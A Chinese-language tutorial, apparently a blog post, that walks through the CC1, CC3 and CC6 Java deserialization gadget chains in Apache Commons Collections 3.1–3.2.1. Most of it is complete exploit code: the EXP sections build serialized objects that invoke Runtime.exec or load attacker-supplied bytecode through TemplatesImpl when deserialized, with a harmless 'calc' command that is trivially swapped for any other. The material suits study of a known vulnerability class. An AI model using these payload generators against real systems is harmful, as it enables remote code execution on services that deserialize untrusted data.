Java安全 CC全部Gadget分析 (持续分析ing)

前言

个人CC链分析顺序如下: CC1 -> CC6 -> CC3

CC1分析

影响版本

commons-collections 3.1 ~ 3.2.1

JDK8u71 之前

CC1_LazyMap

栈调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

代码分析

从后往前分析

InvokerTransformer类实现了Transformer接口,查看Transformer接口(代码如下)实现了transform方法,InvokerTransformer是一个实现类,看看InvokerTransformer.transform在做什么

1
2
3
4
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}

InvokerTransformer.transform做了一个反射操作,根据这个格式写一个弹计算器的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package CC;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1_1 {
public static void main(String[] args) throws Exception {
Runtime input = Runtime.getRuntime();

// 1.
Class cls = input.getClass();
Method method = cls.getMethod("exec", String.class);
method.invoke(input, "calc");

// 2.
InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokertransformer.transform(input);

}
}

这里第一部分是根据InvokerTransformer.transform方法中的反射格式写的调用方式,第二部分是构造一个能够执行Runtime.getRuntime().exec("calc")InvokerTransformer类并调用它的transform方法。接着找一个调用了InvokerTransformer.transform方法的函数

这里用的是LazyMapget方法,它的factory成员变量会调用transform方法,并且LazyMap的构造方法中factory是可以为Transformer类,继续构造对应代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package CC;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;

public class CC1_1 {
public static void main(String[] args) throws Exception {
Runtime input = Runtime.getRuntime();

InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),invokertransformer);
lazymap.get(input);
}
}

测试上述代码可以弹计算器后,继续寻找调用LazyMap.get方法的地方

AnnotationInvocationHandlerinvoke方法调用它的memberValues成员变量,并且这个var4变量是可控的(自己传入的),查看AnnotationInvocationHandler类构造方法

首先注意到类定义时没有用public class而是class而已,说明这个类只能在该包内访问,这里需要通过反射的方式进行处理构造方法中的var1是一个注释类,var2是一个Map类这个刚好可以用赋值LazyMap

但是这里有个问题,查看整个AnnotationInvocationHandler.invoke会发现var4变量是一个String类,与想要的Runtime类有所差别,这时候需要重新规划链子,此处引入一个新的类ChainedTransformer

ChainedTransformer.transform方法如下,它是调用iTransformers数组中每个变量transform方法,并且每次调用后的object变量将会作为下次transform方法的参数进行传入,实现一个类似递归调用的形式

接着继续引入一个类ConstantTransformer类,它的transform方法是接收一个Object,但是return的内容是它自身的iConstant成员变量,并且这个成员变量是一个Object类型,说明了这里是可控的

在引入这两个类后,编写的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1_1 {
public static void main(String[] args) throws Exception {
Runtime input = Runtime.getRuntime();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(input),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),transformerChain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class);
annotationIHconstructor.setAccessible(true);
Object annotationIH = annotationIHconstructor.newInstance(Override.class, lazymap);

Method annotationIHmethod = cls.getDeclaredMethod("invoke", Object.class, Method.class, Object[].class);
annotationIHmethod.setAccessible(true);

Method m = Class.forName("com.atao.Person").getMethod("Action");
annotationIHmethod.invoke(annotationIH, null, m, null);
}
}

注意点:AnnotationInvocationHandler.invoke方法中第二个参数接收的method类要是一个无参的方法,这样才能进入else语句走到this.memberValues.get(var4)

接下来的内容需要有Java动态代理的基础

AnnotationInvocationHandler类中是实现InvocationHandler接口,表明了他是可以做动态代理的。思路为利用AnnotationInvocationHandler代理构造的Map类,在进行反序列化进入readObject方法时,当Map调用任何方法都会进到代理类的AnnotationInvocationHandler.invoke方法中,从而触发后续的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_1 {
public static void main(String[] args) throws Exception {
Runtime input = Runtime.getRuntime();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(input),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),transformerChain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class);
annotationIHconstructor.setAccessible(true);
InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, lazymap);
Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annotationIH);
annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, proxymap);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(annotationIH);
out.close();

ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();
}
}

结构好的代码是上面这样的,但是当运行的时候会发现报错了。因为Runtime类并没有实现Serializable接口,不能进行序列化,这时候需要继续拆解Runtime input = Runtime.getRuntime();这条代码

已知Class类是可以序列化,可以利用Runtime.class获取getRuntime方法,然后利用invoke生成实例,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Method rcemethod = c.getMethod("getRuntime");
Runtime r = (Runtime) rcemethod.invoke(null);
r.exec("calc");



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}),
new InvokerTransformer("invoke", new Class[]{Object.class}, new Object[]{null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
}
}

EXP

最后就可以把全部代码合起来,这里是运行环境是Java7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),transformerChain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class);
annotationIHconstructor.setAccessible(true);
InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, lazymap);
Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annotationIH);
annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, proxymap);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(annotationIH);
out.close();

ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();
}
}

CC1_TransformedMap

栈调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

代码分析

这条链子是将LazyMap类改用了TransformedMap类,链子后半段的实现是相同的,前半段进行修改

TransformedMap.checkSetValue方法中会调用valueTransformer成员变量的transform方法

接着找一个调用TransformedMap.checkSetValue方法的地方

这里TransformedMap的抽象类AbstractInputCheckedMapDecoratorsetValue调用了checkSetValue方法

这里可以理解为MapTransformedMap进行了修饰,当你要处理其Mapvalue值是会回调TransformedMap进行处理,然后要处理Map时调用了setValue,但是TransformedMap没有setValue,于是找到了AbstractInputCheckedMapDecorator父类的方法调用,checkSetValue方法TransformedMap类它自己有,所以又回到TransformedMap处理

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<Object,Object>();
map.put("value","bbb");
TransformedMap transformedmap = (TransformedMap) TransformedMap.decorate(map,null,transformerChain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class);
annotationIHconstructor.setAccessible(true);
InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Target.class, transformedmap);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(annotationIH);
out.close();

ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();
}
}

CC3分析

CC3是通过加载字节码的方式实现代码执行的。在ysoserial中对于CC3的利用链没有使用InvokerTransformer类,这是因为在Java反序列化过滤器中,该类已经被加到了黑名单中。此处将使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类作为替代。

影响版本

commons-collections 3.1 ~ 3.2.1

JDK8u71 之前

栈调用

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()

代码分析

TemplatesImpl类中定义了TransletClassLoader静态类,该类的作用是实现类加载的

1
2
3
4
5
6
7
8
9
10
package com.sun.org.apache.xalan.internal.xsltc.trax;
public final class TemplatesImpl implements Templates, Serializable {
// ...
static final class TransletClassLoader extends ClassLoader {
// ...
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
}

它的defineClass方法没有使用显式声明,说明其作用域为default,相对于它的父类ClassLoader中的defineClass方法为protected,这里的安全性是降低的,因为default作用域表明了可以在包内调用,即只要在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl内调用都是可行的

image-20220410011612176

1
2
3
4
5
6
7
TemplatesImpl#newTransformer()
↓↓↓
TemplatesImpl#getTransletInstance()
↓↓↓
TemplatesImpl#defineTransletClasses()
↓↓↓
TransletClassLoader#defineClass()

可以找到上述的调用链从而实现类加载

首先需要编写一个恶意类,该类需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class atao extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public atao() {
System.out.println("Hello World!");
}
}

使用命令javac atao.java编译成字节码,编写TemplatesImpl#newTransformer加载字节码的Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;

public class Demo {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
File file = new File("atao.class");
FileInputStream fis = new FileInputStream(file);

long fileSize = file.length();
byte[] bytes = new byte[(int) fileSize];
fis.read(bytes);

TemplatesImpl templates = new TemplatesImpl();

Class c = TemplatesImpl.class;
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][] {bytes});

Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "atao");

Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

templates.newTransformer();
}
}

通过上述的触发方式,可以修改CC1 Transformer[]中的触发反射的代码可构成:CC1利用类加载触发恶意代码。不过开头说了InvokerTransformer类在后续的Java反序列化中是被过滤的,所以接下来需要看看com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

1
2
3
4
5
6
7
8
9
package com.sun.org.apache.xalan.internal.xsltc.trax;
public class TrAXFilter extends XMLFilterImpl {
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
}

TrAXFilter类的构造方法中直接调用了templates.newTransformer(),并且此处的templates是可控的,可以利用

接着还需要引入一个类org.apache.commons.collections.functors.InstantiateTransformer,该类为Transformer实现类,这里看一下InstantiateTransformer#transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.apache.commons.collections.functors;
public class InstantiateTransformer implements Transformer, Serializable {
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
// ...
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
// ...
}
}

其中调用了con.newInstance(this.iArgs),所以可以利用该类的transform方法来触发构造方法(注:这里是触发TrAXFilter类的构造方法),从而实现类加载,导致恶意函数执行。并且这里就可以不需要使用InvokerTransformer类了

前面的内容与CC1是一样的

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC3_1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException {
File file = new File("atao.class");
FileInputStream fis = new FileInputStream(file);

long fileSize = file.length();
byte[] bytes = new byte[(int) fileSize];
fis.read(bytes);

TemplatesImpl templates = new TemplatesImpl();

Class c = TemplatesImpl.class;
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][] {bytes});

Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "atao");

Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{ Templates.class }, new Object[]{ templates })
};
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
map.put("value","bbb");
TransformedMap transformedmap = (TransformedMap) TransformedMap.decorate(map,null,transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class);
annotationIHconstructor.setAccessible(true);
InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Target.class, transformedmap);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(annotationIH);
out.close();

ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();
}
}

CC6分析

​ 在jdk8u71后,sun.reflect.annotation.AnnotationInvocationHandler#readObject方法被改写,导致没有调用memberValues.entrySet()使得链子不能往下调用。这里LazyMap类往后的链子可以继续利用,只需要找一个前置的触发点,CC6就是在这个前提下被挖掘出来的。

影响版本

commons-collections 3.1 ~ 3.2.1

JDK 无限制

栈调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

代码分析

之前的链子是通过LazyMap#get触发的后续,所以这里我们需要找一个有调用x.get(Object)的点,其中x还是可控的。

1
2
3
4
5
6
7
8
9
10
11
package org.apache.commons.collections.keyvalue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
public Object getValue() {
return this.map.get(this.key);
}

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
}

这里org.apache.commons.collections.keyvalue.TiedMapEntry#getValue方法很好的符合了预期,通过自身的成员变量map(可控)调用了get方法。

接着getValue()方法可以通过org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode进行触发。

后续的触发链就可以找URLDNS触发java.net.URL#hashCode的那部分。

坑点

因为HashMap#put会触发hash方法从而调用整条链子

1
2
3
4
5
6
7
8
9
10
11
12
package org.apache.commons.collections.map;
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}

org.apache.commons.collections.map.LazyMap#get需要走到if中,但是触发过后整条链子后,key就会被写到LazyMap中,导致反序列化时并不会走if语句而是走else语句,所以这里需要使用LazyMap#removeKey删除

image-20220406000710667

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC6_1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer[] fake = new Transformer[] { new ConstantTransformer(1)};

Transformer transformerChain = new ChainedTransformer(fake);

LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(), transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<TiedMapEntry, Object> hashmap = new HashMap<TiedMapEntry, Object>();
hashmap.put(tiedMapEntry, "bbb");

lazymap.remove("aaa");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(hashmap);

ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();

}
}

这里如果不使用LazyMap#remove删除键值对的关联,还有另外一种就是替换HashMapKey的值。这里参考美团的文章可知,键值对是存放在了Node[] table中,这里的Node类是HashMap中自定义的静态类。

1
2
3
4
5
6
7
8
9
10
11
package java.util;
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;

//...
}
}

可以通过反射先取出HashMap#table的值(这里由于没有Node类,需要强转为Object),接着再从中取出Key进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC6_2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(), transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");

HashMap<Object, Object> hashmap = new HashMap<Object, Object>();
hashmap.put("aaa", "bbb");

Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] nodearray = (Object[]) table.get(hashmap);

Object node = nodearray[0];

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(hashmap);

ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();

}
}